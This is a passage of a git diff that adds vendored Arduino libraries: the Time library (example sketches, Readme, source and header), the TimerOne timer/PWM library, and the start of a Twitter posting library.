duration){ +// prints the duration in days, hours, minutes and seconds + if(duration >= SECS_PER_DAY){ + Serial.print(duration / SECS_PER_DAY); + Serial.print(" day(s) "); + duration = duration % SECS_PER_DAY; + } + if(duration >= SECS_PER_HOUR){ + Serial.print(duration / SECS_PER_HOUR); + Serial.print(" hour(s) "); + duration = duration % SECS_PER_HOUR; + } + if(duration >= SECS_PER_MIN){ + Serial.print(duration / SECS_PER_MIN); + Serial.print(" minute(s) "); + duration = duration % SECS_PER_MIN; + } + Serial.print(duration); + Serial.print(" second(s) "); +} + diff --git a/Projects/libraries/Installed_libs/Time/Examples/TimeRTCSet/TimeRTCSet.pde b/Projects/libraries/Installed_libs/Time/Examples/TimeRTCSet/TimeRTCSet.pde new file mode 100755 index 0000000..48b696c --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/Examples/TimeRTCSet/TimeRTCSet.pde @@ -0,0 +1,82 @@ +/* + * TimeRTCSet.pde + * example code illustrating Time library with Real Time Clock. + * + * RTC clock is set in response to serial port time message + * A Processing example sketch to set the time is inclided in the download + */ + +#include +#include +#include // a basic DS1307 library that returns time as a time_t + + +void setup() { + Serial.begin(9600); + setSyncProvider(RTC.get); // the function to get the time from the RTC + if(timeStatus()!= timeSet) + Serial.println("Unable to sync with the RTC"); + else + Serial.println("RTC has set the system time"); +} + +void loop() +{ + if(Serial.available()) + { + time_t t = processSyncMessage(); + if(t >0) + { + RTC.set(t); // set the RTC and the system time to the received value + setTime(t); + } + } + digitalClockDisplay(); + delay(1000); +} + +void digitalClockDisplay(){ + // digital clock display of the time + Serial.print(hour()); + printDigits(minute()); + printDigits(second()); + Serial.print(" "); + Serial.print(day()); + Serial.print(" "); + Serial.print(month()); + Serial.print(" "); + Serial.print(year()); + Serial.println(); +} + +void printDigits(int digits){ + // utility function for digital clock display: prints preceding colon and leading 0 + Serial.print(":"); + if(digits < 10) + Serial.print('0'); + Serial.print(digits); +} + +/* code to process time sync messages from the serial port */ +#define TIME_MSG_LEN 11 // time sync to PC is HEADER followed by unix time_t as ten ascii digits +#define TIME_HEADER 'T' // Header tag for serial time sync message + +time_t processSyncMessage() { + // return the time if a valid sync message is received on the serial port. + while(Serial.available() >= TIME_MSG_LEN ){ // time message consists of a header and ten ascii digits + char c = Serial.read() ; + Serial.print(c); + if( c == TIME_HEADER ) { + time_t pctime = 0; + for(int i=0; i < TIME_MSG_LEN -1; i++){ + c = Serial.read(); + if( c >= '0' && c <= '9'){ + pctime = (10 * pctime) + (c - '0') ; // convert digits to a number + } + } + return pctime; + } + } + return 0; +} + diff --git a/Projects/libraries/Installed_libs/Time/Examples/TimeSerial/TimeSerial.pde b/Projects/libraries/Installed_libs/Time/Examples/TimeSerial/TimeSerial.pde new file mode 100755 index 0000000..55c67a6 --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/Examples/TimeSerial/TimeSerial.pde @@ -0,0 +1,82 @@ +/* + * TimeSerial.pde + * example code illustrating Time library set through serial port messages. + * + * Messages consist of the letter T followed by ten digit time (as seconds since Jan 1 1970) + * you can send the text on the next line using Serial Monitor to set the clock to noon Jan 1 2010 + T1262347200 + * + * A Processing example sketch to automatically send the messages is inclided in the download + */ + +#include + +#define TIME_MSG_LEN 11 // time sync to PC is HEADER followed by unix time_t as ten ascii digits +#define TIME_HEADER 'T' // Header tag for serial time sync message +#define TIME_REQUEST 7 // ASCII bell character requests a time sync message + +void setup() { + Serial.begin(9600); + setSyncProvider( requestSync); //set function to call when sync required + Serial.println("Waiting for sync message"); +} + +void loop(){ + if(Serial.available() ) + { + processSyncMessage(); + } + if(timeStatus()!= timeNotSet) + { + digitalWrite(13,timeStatus() == timeSet); // on if synced, off if needs refresh + digitalClockDisplay(); + } + delay(1000); +} + +void digitalClockDisplay(){ + // digital clock display of the time + Serial.print(hour()); + printDigits(minute()); + printDigits(second()); + Serial.print(" "); + Serial.print(day()); + Serial.print(" "); + Serial.print(month()); + Serial.print(" "); + Serial.print(year()); + Serial.println(); +} + +void printDigits(int digits){ + // utility function for digital clock display: prints preceding colon and leading 0 + Serial.print(":"); + if(digits < 10) + Serial.print('0'); + Serial.print(digits); +} + +void processSyncMessage() { + // if time sync available from serial port, update time and return true + while(Serial.available() >= TIME_MSG_LEN ){ // time message consists of a header and ten ascii digits + char c = Serial.read() ; + Serial.print(c); + if( c == TIME_HEADER ) { + time_t pctime = 0; + for(int i=0; i < TIME_MSG_LEN -1; i++){ + c = Serial.read(); + if( c >= '0' && c <= '9'){ + pctime = (10 * pctime) + (c - '0') ; // convert digits to a number + } + } + setTime(pctime); // Sync Arduino clock to the time received on the serial port + } + } +} + +time_t requestSync() +{ + Serial.print(TIME_REQUEST,BYTE); + return 0; // the time will be sent later in response to serial mesg +} + diff --git a/Projects/libraries/Installed_libs/Time/Examples/TimeSerialDateStrings/TimeSerialDateStrings.pde b/Projects/libraries/Installed_libs/Time/Examples/TimeSerialDateStrings/TimeSerialDateStrings.pde new file mode 100755 index 0000000..dcff97e --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/Examples/TimeSerialDateStrings/TimeSerialDateStrings.pde @@ -0,0 +1,80 @@ +/* + * TimeSerialDateStrings.pde + * example code illustrating Time library date strings + * + * This sketch adds date string functionality to TimeSerial.pde + * + */ + +#include + +#define TIME_MSG_LEN 11 // time sync to PC is HEADER followed by unix time_t as ten ascii digits +#define TIME_HEADER 'T' // Header tag for serial time sync message +#define TIME_REQUEST 7 // ASCII bell character requests a time sync message + +void setup() { + Serial.begin(9600); + setSyncProvider( requestSync); //set function to call when sync required + Serial.println("Waiting for sync message"); +} + +void loop(){ + if(Serial.available() ) + { + processSyncMessage(); + } + if(timeStatus()!= timeNotSet) + { + digitalClockDisplay(); + } + delay(1000); +} + +void digitalClockDisplay(){ + // digital clock display of the time + Serial.print(hour()); + printDigits(minute()); + printDigits(second()); + Serial.print(" "); + Serial.print(dayStr(weekday())); + Serial.print(" "); + Serial.print(day()); + Serial.print(" "); + Serial.print(monthShortStr(month())); + Serial.print(" "); + Serial.print(year()); + Serial.println(); +} + +void printDigits(int digits){ + // utility function for digital clock display: prints preceding colon and leading 0 + Serial.print(":"); + if(digits < 10) + Serial.print('0'); + Serial.print(digits); +} + +void processSyncMessage() { + // if time sync available from serial port, update time and return true + while(Serial.available() >= TIME_MSG_LEN ){ // time message consists of a header and ten ascii digits + char c = Serial.read() ; + Serial.print(c); + if( c == TIME_HEADER ) { + time_t pctime = 0; + for(int i=0; i < TIME_MSG_LEN -1; i++){ + c = Serial.read(); + if( c >= '0' && c <= '9'){ + pctime = (10 * pctime) + (c - '0') ; // convert digits to a number + } + } + setTime(pctime); // Sync Arduino clock to the time received on the serial port + } + } +} + +time_t requestSync() +{ + Serial.print(TIME_REQUEST,BYTE); + return 0; // the time will be sent later in response to serial mesg +} + diff --git a/Projects/libraries/Installed_libs/Time/Readme.txt b/Projects/libraries/Installed_libs/Time/Readme.txt new file mode 100755 index 0000000..22bc4aa --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/Readme.txt @@ -0,0 +1,131 @@ +Readme file for Arduino Time Library + +Time is a library that provides timekeeping functionality for Arduino. + +The code is derived from the Playground DateTime library but is updated +to provide an API that is more flexable and easier to use. + +A primary goal was to enable date and time functionality that can be used with +a variety of external time sources with minimum differences required in sketch logic. + +Example sketches illustrate how similar sketch code can be used with: a Real Time Clock, +internet NTP time service, GPS time data, and Serial time messages from a computer +for time synchronization. + +The functions available in the library include: + +hour(); // the hour now (0-23) +minute(); // the minute now (0-59) +second(); // the second now (0-59) +day(); // the day now (1-31) +weekday(); // day of the week, Sunday is day 0 +month(); // the month now (1-12) +year(); // the full four digit year: (2009, 2010 etc) + +there are also functions to return the hour in 12 hour format +hourFormat12(); // the hour now in 12 hour format +isAM(); // returns true if time now is AM +isPM(); // returns true if time now is PM + +now(); // returns the current time as seconds since Jan 1 1970 + +The time and date functions can take an optional parameter for the time. This prevents +errors if the time rolls over between elements. For example, if a new minute begins +between getting the minute and second, the values will be inconsistent. Using the +following functions eliminates this probglem + time_t t = now(); // store the current time in time variable t + hour(t); // returns the hour for the given time t + minute(t); // returns the minute for the given time t + second(t); // returns the second for the given time t + day(t); // the day for the given time t + weekday(t); // day of the week for the given time t + month(t); // the month for the given time t + year(t); // the year for the given time t + + +Functions for managing the timer services are: +setTime(t); // set the system time to the give time t +setTime(hr,min,sec,day,mnth,yr); // alternative to above, yr is 2 or 4 digit yr (2010 or 10 sets year to 2010) +adjustTime(adjustment); // adjust system time by adding the adjustment value + +timeStatus(); // indicates if time has been set and recently synchronized + // returns one of the following enumerations: + timeNotSet // the time has never been set, the clock started at Jan 1 1970 + timeNeedsSync // the time had been set but a sync attempt did not succeed + timeSet // the time is set and is synced +Time and Date values are not valid if the status is timeNotSet. Otherwise values can be used but +the returned time may have drifted if the status is timeNeedsSync. + +setSyncProvider(getTimeFunction); // set the external time provider +setSyncInterval(interval); // set the number of seconds between re-sync + + +There are many convenience macros in the time.h file for time constants and conversion of time units. + +To use the library, copy the download to the Library directory. + +The Time directory contains the Time library and some example sketches +illustrating how the library can be used with various time sources: + +- TimeSerial.pde shows Arduino as a clock without external hardware. + It is synchronized by time messages sent over the serial port. + A companion Processing sketch will automatically provide these messages + if it is running and connected to the Arduino serial port. + +- TimeSerialDateStrings.pde adds day and month name strings to the sketch above + Short (3 character) and long strings are available to print the days of + the week and names of the months. + +- TimeRTC uses a DS1307 real time clock to provide time synchronization. + A basic RTC library named DS1307RTC is included in the download. + To run this sketch the DS1307RTC library must be installed. + +- TimeRTCSet is similar to the above and adds the ability to set the Real Time Clock + +- TimeRTCLog demonstrates how to calculate the difference between times. + It is a vary simple logger application that monitors events on digtial pins + and prints (to the serial port) the time of an event and the time period since the previous event. + +- TimeNTP uses the Arduino Ethernet shield to access time using the internet NTP time service. + The NTP protocol uses UDP and the UdpBytewise library is required, see: + http://bitbucket.org/bjoern/arduino_osc/src/14667490521f/libraries/Ethernet/ + +-TimeGPS gets time from a GPS + This requires the TinyGPS and NewSoftSerial libraries from Mikal Hart: + http://arduiniana.org/libraries/TinyGPS and http://arduiniana.org/libraries/newsoftserial/ + +Differences between this code and the playground DateTime library +although the Time library is based on the DateTime codebase, the API has changed. +Changes in the Time library API: +- time elements are functions returning int (they are variables in DateTime) +- Years start from 1970 +- days of the week and months start from 1 (they start from 0 in DateTime) +- DateStrings do not require a seperate library +- time elements can be accessed non-atomically (in DateTime they are always atomic) +- function added to automatically sync time with extrnal source +- localTime and maketime parameters changed, localTime renamed to breakTime + +Technical notes: + +Internal system time is based on the standard Unix time_t. +The value is the number of seconds since Jan 1 1970. +System time begins at zero when the sketch starts. + +The internal time can be automatically synchronized at regular intervals to an external time source. +This is enabled by calling the setSyncProvider(provider) function - the provider argument is +the address of a function that returns the current time as a time_t. +See the sketches in the examples directory for usage. + +The default interval for re-syncing the time is 5 minutes but can be changed by calling the +setSyncInterval( interval) method to set the number of seconds between re-sync attempts. + +The Time library defines a structure for holding time elements that is a compact version of the C tm structure. +All the members of the Arduino tm structure are bytes and the year is offset from 1970. +Convenience macros provide conversion to and from the Arduino format. + +Low level functions to convert between system time and individual time elements are provided: + breakTime( time, &tm); // break time_t into elements stored in tm struct + makeTime( &tm); // return time_t from elements stored in tm struct + +The DS1307RTC library included in the download provides an example of how a time provider +can use the low level functions to interface with the Time library. \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/Time/Time.cpp b/Projects/libraries/Installed_libs/Time/Time.cpp new file mode 100755 index 0000000..86bdcd5 --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/Time.cpp @@ -0,0 +1,307 @@ +/* + time.c - low level time and date functions + Copyright (c) Michael Margolis 2009 + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + + 6 Jan 2010 - initial release + 12 Feb 2010 - fixed leap year calculation error + 1 Nov 2010 - fixed setTime bug (thanks to Korman for this) +*/ + +#if ARDUINO >= 100 +#include +#else +#include +#endif + +#include "Time.h" + +static tmElements_t tm; // a cache of time elements +static time_t cacheTime; // the time the cache was updated +static time_t syncInterval = 300; // time sync will be attempted after this many seconds + +void refreshCache( time_t t){ + if( t != cacheTime) + { + breakTime(t, tm); + cacheTime = t; + } +} + +int hour() { // the hour now + return hour(now()); +} + +int hour(time_t t) { // the hour for the given time + refreshCache(t); + return tm.Hour; +} + +int hourFormat12() { // the hour now in 12 hour format + return hourFormat12(now()); +} + +int hourFormat12(time_t t) { // the hour for the given time in 12 hour format + refreshCache(t); + if( tm.Hour == 0 ) + return 12; // 12 midnight + else if( tm.Hour > 12) + return tm.Hour - 12 ; + else + return tm.Hour ; +} + +uint8_t isAM() { // returns true if time now is AM + return !isPM(now()); +} + +uint8_t isAM(time_t t) { // returns true if given time is AM + return !isPM(t); +} + +uint8_t isPM() { // returns true if PM + return isPM(now()); +} + +uint8_t isPM(time_t t) { // returns true if PM + return (hour(t) >= 12); +} + +int minute() { + return minute(now()); +} + +int minute(time_t t) { // the minute for the given time + refreshCache(t); + return tm.Minute; +} + +int second() { + return second(now()); +} + +int second(time_t t) { // the second for the given time + refreshCache(t); + return tm.Second; +} + +int day(){ + return(day(now())); +} + +int day(time_t t) { // the day for the given time (0-6) + refreshCache(t); + return tm.Day; +} + +int weekday() { // Sunday is day 1 + return weekday(now()); +} + +int weekday(time_t t) { + refreshCache(t); + return tm.Wday; +} + +int month(){ + return month(now()); +} + +int month(time_t t) { // the month for the given time + refreshCache(t); + return tm.Month; +} + +int year() { // as in Processing, the full four digit year: (2009, 2010 etc) + return year(now()); +} + +int year(time_t t) { // the year for the given time + refreshCache(t); + return tmYearToCalendar(tm.Year); +} + +/*============================================================================*/ +/* functions to convert to and from system time */ +/* These are for interfacing with time serivces and are not normally needed in a sketch */ + +// leap year calulator expects year argument as years offset from 1970 +#define LEAP_YEAR(Y) ( ((1970+Y)>0) && !((1970+Y)%4) && ( ((1970+Y)%100) || !((1970+Y)%400) ) ) + +static const uint8_t monthDays[]={31,28,31,30,31,30,31,31,30,31,30,31}; // API starts months from 1, this array starts from 0 + +void breakTime(time_t time, tmElements_t &tm){ +// break the given time_t into time components +// this is a more compact version of the C library localtime function +// note that year is offset from 1970 !!! + + uint8_t year; + uint8_t month, monthLength; + unsigned long days; + + tm.Second = time % 60; + time /= 60; // now it is minutes + tm.Minute = time % 60; + time /= 60; // now it is hours + tm.Hour = time % 24; + time /= 24; // now it is days + tm.Wday = ((time + 4) % 7) + 1; // Sunday is day 1 + + year = 0; + days = 0; + while((unsigned)(days += (LEAP_YEAR(year) ? 366 : 365)) <= time) { + year++; + } + tm.Year = year; // year is offset from 1970 + + days -= LEAP_YEAR(year) ? 366 : 365; + time -= days; // now it is days in this year, starting at 0 + + days=0; + month=0; + monthLength=0; + for (month=0; month<12; month++) { + if (month==1) { // february + if (LEAP_YEAR(year)) { + monthLength=29; + } else { + monthLength=28; + } + } else { + monthLength = monthDays[month]; + } + + if (time >= monthLength) { + time -= monthLength; + } else { + break; + } + } + tm.Month = month + 1; // jan is month 1 + tm.Day = time + 1; // day of month +} + +time_t makeTime(tmElements_t &tm){ +// assemble time elements into time_t +// note year argument is offset from 1970 (see macros in time.h to convert to other formats) +// previous version used full four digit year (or digits since 2000),i.e. 2009 was 2009 or 9 + + int i; + time_t seconds; + + // seconds from 1970 till 1 jan 00:00:00 of the given year + seconds= tm.Year*(SECS_PER_DAY * 365); + for (i = 0; i < tm.Year; i++) { + if (LEAP_YEAR(i)) { + seconds += SECS_PER_DAY; // add extra days for leap years + } + } + + // add days for this year, months start from 1 + for (i = 1; i < tm.Month; i++) { + if ( (i == 2) && LEAP_YEAR(tm.Year)) { + seconds += SECS_PER_DAY * 29; + } else { + seconds += SECS_PER_DAY * monthDays[i-1]; //monthDay array starts from 0 + } + } + seconds+= (tm.Day-1) * SECS_PER_DAY; + seconds+= tm.Hour * SECS_PER_HOUR; + seconds+= tm.Minute * SECS_PER_MIN; + seconds+= tm.Second; + return seconds; +} +/*=====================================================*/ +/* Low level system time functions */ + +static time_t sysTime = 0; +static time_t prevMillis = 0; +static time_t nextSyncTime = 0; +static timeStatus_t Status = timeNotSet; + +getExternalTime getTimePtr; // pointer to external sync function +//setExternalTime setTimePtr; // not used in this version + +#ifdef TIME_DRIFT_INFO // define this to get drift data +time_t sysUnsyncedTime = 0; // the time sysTime unadjusted by sync +#endif + + +time_t now(){ + while( millis() - prevMillis >= 1000){ + sysTime++; + prevMillis += 1000; +#ifdef TIME_DRIFT_INFO + sysUnsyncedTime++; // this can be compared to the synced time to measure long term drift +#endif + } + if(nextSyncTime <= sysTime){ + if(getTimePtr != 0){ + time_t t = getTimePtr(); + if( t != 0) + setTime(t); + else + Status = (Status == timeNotSet) ? timeNotSet : timeNeedsSync; + } + } + return sysTime; +} + +void setTime(time_t t){ +#ifdef TIME_DRIFT_INFO + if(sysUnsyncedTime == 0) + sysUnsyncedTime = t; // store the time of the first call to set a valid Time +#endif + + sysTime = t; + nextSyncTime = t + syncInterval; + Status = timeSet; + prevMillis = millis(); // restart counting from now (thanks to Korman for this fix) +} + +void setTime(int hr,int min,int sec,int dy, int mnth, int yr){ + // year can be given as full four digit year or two digts (2010 or 10 for 2010); + //it is converted to years since 1970 + if( yr > 99) + yr = yr - 1970; + else + yr += 30; + tm.Year = yr; + tm.Month = mnth; + tm.Day = dy; + tm.Hour = hr; + tm.Minute = min; + tm.Second = sec; + setTime(makeTime(tm)); +} + +void adjustTime(long adjustment){ + sysTime += adjustment; +} + +timeStatus_t timeStatus(){ // indicates if time has been set and recently synchronized + return Status; +} + +void setSyncProvider( getExternalTime getTimeFunction){ + getTimePtr = getTimeFunction; + nextSyncTime = sysTime; + now(); // this will sync the clock +} + +void setSyncInterval(time_t interval){ // set the number of seconds between re-sync + syncInterval = interval; +} \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/Time/Time.h b/Projects/libraries/Installed_libs/Time/Time.h new file mode 100755 index 0000000..e54f3b0 --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/Time.h @@ -0,0 +1,126 @@ +/* + time.h - low level time and date functions +*/ + +/* + July 3 2011 - fixed elapsedSecsThisWeek macro (thanks Vincent Valdy for this) + - fixed daysToTime_t macro (thanks maniacbug) +*/ + +#ifndef _Time_h +#define _Time_h + +#include + +typedef unsigned long time_t; + +typedef enum {timeNotSet, timeNeedsSync, timeSet +} timeStatus_t ; + +typedef enum { + dowInvalid, dowSunday, dowMonday, dowTuesday, dowWednesday, dowThursday, dowFriday, dowSaturday +} timeDayOfWeek_t; + +typedef enum { + tmSecond, tmMinute, tmHour, tmWday, tmDay,tmMonth, tmYear, tmNbrFields +} tmByteFields; + +typedef struct { + uint8_t Second; + uint8_t Minute; + uint8_t Hour; + uint8_t Wday; // day of week, sunday is day 1 + uint8_t Day; + uint8_t Month; + uint8_t Year; // offset from 1970; +} tmElements_t, TimeElements, *tmElementsPtr_t; + +//convenience macros to convert to and from tm years +#define tmYearToCalendar(Y) ((Y) + 1970) // full four digit year +#define CalendarYrToTm(Y) ((Y) - 1970) +#define tmYearToY2k(Y) ((Y) - 30) // offset is from 2000 +#define y2kYearToTm(Y) ((Y) + 30) + +typedef time_t(*getExternalTime)(); +//typedef void (*setExternalTime)(const time_t); // not used in this version + + +/*==============================================================================*/ +/* Useful Constants */ +#define SECS_PER_MIN (60UL) +#define SECS_PER_HOUR (3600UL) +#define SECS_PER_DAY (SECS_PER_HOUR * 24UL) +#define DAYS_PER_WEEK (7UL) +#define SECS_PER_WEEK (SECS_PER_DAY * DAYS_PER_WEEK) +#define SECS_PER_YEAR (SECS_PER_WEEK * 52UL) +#define SECS_YR_2000 (946684800UL) // the time at the start of y2k + +/* Useful Macros for getting elapsed time */ +#define numberOfSeconds(_time_) (_time_ % SECS_PER_MIN) +#define numberOfMinutes(_time_) ((_time_ / SECS_PER_MIN) % SECS_PER_MIN) +#define numberOfHours(_time_) (( _time_% SECS_PER_DAY) / SECS_PER_HOUR) +#define dayOfWeek(_time_) ((( _time_ / SECS_PER_DAY + 4) % DAYS_PER_WEEK)+1) // 1 = Sunday +#define elapsedDays(_time_) ( _time_ / SECS_PER_DAY) // this is number of days since Jan 1 1970 +#define elapsedSecsToday(_time_) (_time_ % SECS_PER_DAY) // the number of seconds since last midnight +// The following macros are used in calculating alarms and assume the clock is set to a date later than Jan 1 1971 +// Always set the correct time before settting alarms +#define previousMidnight(_time_) (( _time_ / SECS_PER_DAY) * SECS_PER_DAY) // time at the start of the given day +#define nextMidnight(_time_) ( previousMidnight(_time_) + SECS_PER_DAY ) // time at the end of the given day +#define elapsedSecsThisWeek(_time_) (elapsedSecsToday(_time_) + ((dayOfWeek(_time_)-1) * SECS_PER_DAY) ) // note that week starts on day 1 +#define previousSunday(_time_) (_time_ - elapsedSecsThisWeek(_time_)) // time at the start of the week for the given time +#define nextSunday(_time_) ( previousSunday(_time_)+SECS_PER_WEEK) // time at the end of the week for the given time + + +/* Useful Macros for converting elapsed time to a time_t */ +#define minutesToTime_t ((M)) ( (M) * SECS_PER_MIN) +#define hoursToTime_t ((H)) ( (H) * SECS_PER_HOUR) +#define daysToTime_t ((D)) ( (D) * SECS_PER_DAY) // fixed on Jul 22 2011 +#define weeksToTime_t ((W)) ( (W) * SECS_PER_WEEK) + +/*============================================================================*/ +/* time and date functions */ +int hour(); // the hour now +int hour(time_t t); // the hour for the given time +int hourFormat12(); // the hour now in 12 hour format +int hourFormat12(time_t t); // the hour for the given time in 12 hour format +uint8_t isAM(); // returns true if time now is AM +uint8_t isAM(time_t t); // returns true the given time is AM +uint8_t isPM(); // returns true if time now is PM +uint8_t isPM(time_t t); // returns true the given time is PM +int minute(); // the minute now +int minute(time_t t); // the minute for the given time +int second(); // the second now +int second(time_t t); // the second for the given time +int day(); // the day now +int day(time_t t); // the day for the given time +int weekday(); // the weekday now (Sunday is day 1) +int weekday(time_t t); // the weekday for the given time +int month(); // the month now (Jan is month 1) +int month(time_t t); // the month for the given time +int year(); // the full four digit year: (2009, 2010 etc) +int year(time_t t); // the year for the given time + +time_t now(); // return the current time as seconds since Jan 1 1970 +void setTime(time_t t); +void setTime(int hr,int min,int sec,int day, int month, int yr); +void adjustTime(long adjustment); + +/* date strings */ +#define dt_MAX_STRING_LEN 9 // length of longest date string (excluding terminating null) +char* monthStr(uint8_t month); +char* dayStr(uint8_t day); +char* monthShortStr(uint8_t month); +char* dayShortStr(uint8_t day); + +/* time sync functions */ +timeStatus_t timeStatus(); // indicates if time has been set and recently synchronized +void setSyncProvider( getExternalTime getTimeFunction); // identify the external time provider +void setSyncInterval(time_t interval); // set the number of seconds between re-sync + +/* low level functions to convert to and from system time */ +void breakTime(time_t time, tmElements_t &tm); // break time_t into elements +time_t makeTime(tmElements_t &tm); // convert time elements into time_t + + +#endif /* _Time_h */ + diff --git a/Projects/libraries/Installed_libs/Time/keywords.txt b/Projects/libraries/Installed_libs/Time/keywords.txt new file mode 100755 index 0000000..f921672 --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/keywords.txt @@ -0,0 +1,33 @@ +####################################### +# Syntax Coloring Map For Time +####################################### + +####################################### +# Datatypes (KEYWORD1) +####################################### +time_t KEYWORD1 +####################################### +# Methods and Functions (KEYWORD2) +####################################### +now KEYWORD2 +second KEYWORD2 +minute KEYWORD2 +hour KEYWORD2 +day KEYWORD2 +month KEYWORD2 +year KEYWORD2 +isAM KEYWORD2 +isPM KEYWORD2 +weekday KEYWORD2 +setTime KEYWORD2 +adjustTime KEYWORD2 +setSyncProvider KEYWORD2 +setSyncInteval KEYWORD2 +timeStatus KEYWORD2 +####################################### +# Instances (KEYWORD2) +####################################### + +####################################### +# Constants (LITERAL1) +####################################### diff --git a/Projects/libraries/Installed_libs/TimerOnev2/TimerOne.cpp b/Projects/libraries/Installed_libs/TimerOnev2/TimerOne.cpp new file mode 100644 index 0000000..58a4094 --- /dev/null +++ b/Projects/libraries/Installed_libs/TimerOnev2/TimerOne.cpp @@ -0,0 +1,137 @@ +/* + * Interrupt and PWM utilities for 16 bit Timer1 on ATmega168/328 + * Original code by Jesse Tane for http://labs.ideo.com August 2008 + * Modified March 2009 by Jérôme Despatis and Jesse Tane for ATmega328 support + * Modified June 2009 by Michael Polli and Jesse Tane to fix a bug in setPeriod() which caused the timer to stop + * Modified June 2011 by Lex Talionis to add a function to read the timer + * + * This is free software. You can redistribute it and/or modify it under + * the terms of Creative Commons Attribution 3.0 United States License. + * To view a copy of this license, visit http://creativecommons.org/licenses/by/3.0/us/ + * or send a letter to Creative Commons, 171 Second Street, Suite 300, San Francisco, California, 94105, USA. + * + * See Google Code project http://code.google.com/p/arduino-timerone/ for latest + */ +#ifndef TIMERONE_cpp +#define TIMERONE_cpp + +#include "TimerOne.h" + +TimerOne Timer1; // preinstatiate + +ISR(TIMER1_OVF_vect) // interrupt service routine that wraps a user defined function supplied by attachInterrupt +{ + Timer1.isrCallback(); +} + +void TimerOne::initialize(long microseconds) +{ + TCCR1A = 0; // clear control register A + TCCR1B = _BV(WGM13); // set mode 8: phase and frequency correct pwm, stop the timer + setPeriod(microseconds); +} + +void TimerOne::setPeriod(long microseconds) +{ + long cycles = (F_CPU / 2000000) * microseconds; // the counter runs backwards after TOP, interrupt is at BOTTOM so divide microseconds by 2 + if(cycles < RESOLUTION) clockSelectBits = _BV(CS10); // no prescale, full xtal + else if((cycles >>= 3) < RESOLUTION) clockSelectBits = _BV(CS11); // prescale by /8 + else if((cycles >>= 3) < RESOLUTION) clockSelectBits = _BV(CS11) | _BV(CS10); // prescale by /64 + else if((cycles >>= 2) < RESOLUTION) clockSelectBits = _BV(CS12); // prescale by /256 + else if((cycles >>= 2) < RESOLUTION) clockSelectBits = _BV(CS12) | _BV(CS10); // prescale by /1024 + else cycles = RESOLUTION - 1, clockSelectBits = _BV(CS12) | _BV(CS10); // request was out of bounds, set as maximum + ICR1 = pwmPeriod = cycles; // ICR1 is TOP in p & f correct pwm mode + TCCR1B &= ~(_BV(CS10) | _BV(CS11) | _BV(CS12)); + TCCR1B |= clockSelectBits; // reset clock select register +} + +void TimerOne::setPwmDuty(char pin, int duty) +{ + unsigned long dutyCycle = pwmPeriod; + dutyCycle *= duty; + dutyCycle >>= 10; + if(pin == 1 || pin == 9) OCR1A = dutyCycle; + else if(pin == 2 || pin == 10) OCR1B = dutyCycle; +} + +void TimerOne::pwm(char pin, int duty, long microseconds) // expects duty cycle to be 10 bit (1024) +{ + if(microseconds > 0) setPeriod(microseconds); + if(pin == 1 || pin == 9) { + DDRB |= _BV(PORTB1); // sets data direction register for pwm output pin + TCCR1A |= _BV(COM1A1); // activates the output pin + } + else if(pin == 2 || pin == 10) { + DDRB |= _BV(PORTB2); + TCCR1A |= _BV(COM1B1); + } + setPwmDuty(pin, duty); + start(); +} + +void TimerOne::disablePwm(char pin) +{ + if(pin == 1 || pin == 9) TCCR1A &= ~_BV(COM1A1); // clear the bit that enables pwm on PB1 + else if(pin == 2 || pin == 10) TCCR1A &= ~_BV(COM1B1); // clear the bit that enables pwm on PB2 +} + +void TimerOne::attachInterrupt(void (*isr)(), long microseconds) +{ + if(microseconds > 0) setPeriod(microseconds); + isrCallback = isr; // register the user's callback with the real ISR + TIMSK1 = _BV(TOIE1); // sets the timer overflow interrupt enable bit + sei(); // ensures that interrupts are globally enabled + start(); +} + +void TimerOne::detachInterrupt() +{ + TIMSK1 &= ~_BV(TOIE1); // clears the timer overflow interrupt enable bit +} + +void TimerOne::start() +{ + TCCR1B |= clockSelectBits; +} + +void TimerOne::stop() +{ + TCCR1B &= ~(_BV(CS10) | _BV(CS11) | _BV(CS12)); // clears all clock selects bits +} + +void TimerOne::restart() +{ + TCNT1 = 0; +} + +unsigned long TimerOne::read() //returns the value of the timer in microseconds +{ //rember! phase and freq correct mode counts up to then down again + unsigned int tmp=TCNT1; + char scale=0; + switch (clockSelectBits) + { + case 1:// no prescalse + scale=0; + break; + case 2:// x8 prescale + scale=3; + break; + case 3:// x64 + scale=6; + break; + case 4:// x256 + scale=8; + break; + case 5:// x1024 + scale=10; + break; + } + while (TCNT1==tmp) //if the timer has not ticked yet + { + //do nothing -- max delay here is ~1023 cycles + } + tmp = ( (TCNT1>tmp) ? (tmp) : (ICR1-TCNT1)+ICR1 );//if we are counting down add the top value to how far we have counted down + return ((tmp*1000L)/(F_CPU /1000L))< +#include + +#define RESOLUTION 65536 // Timer1 is 16 bit + +class TimerOne +{ + public: + + // properties + unsigned int pwmPeriod; + unsigned char clockSelectBits; + + // methods + void initialize(long microseconds=1000000); + void start(); + void stop(); + void restart(); + unsigned long read(); + void pwm(char pin, int duty, long microseconds=-1); + void disablePwm(char pin); + void attachInterrupt(void (*isr)(), long microseconds=-1); + void detachInterrupt(); + void setPeriod(long microseconds); + void setPwmDuty(char pin, int duty); + void (*isrCallback)(); +}; + +extern TimerOne Timer1; +#endif \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/Twitter/Twitter.cpp b/Projects/libraries/Installed_libs/Twitter/Twitter.cpp new file mode 100755 index 0000000..026064b --- /dev/null +++ b/Projects/libraries/Installed_libs/Twitter/Twitter.cpp @@ -0,0 +1,91 @@ +/* + Twitter.cpp - Arduino library to Post messages to Twitter using OAuth. + Copyright (c) NeoCat 2010-2011. All right reserved. + + This library is distributed in the hope 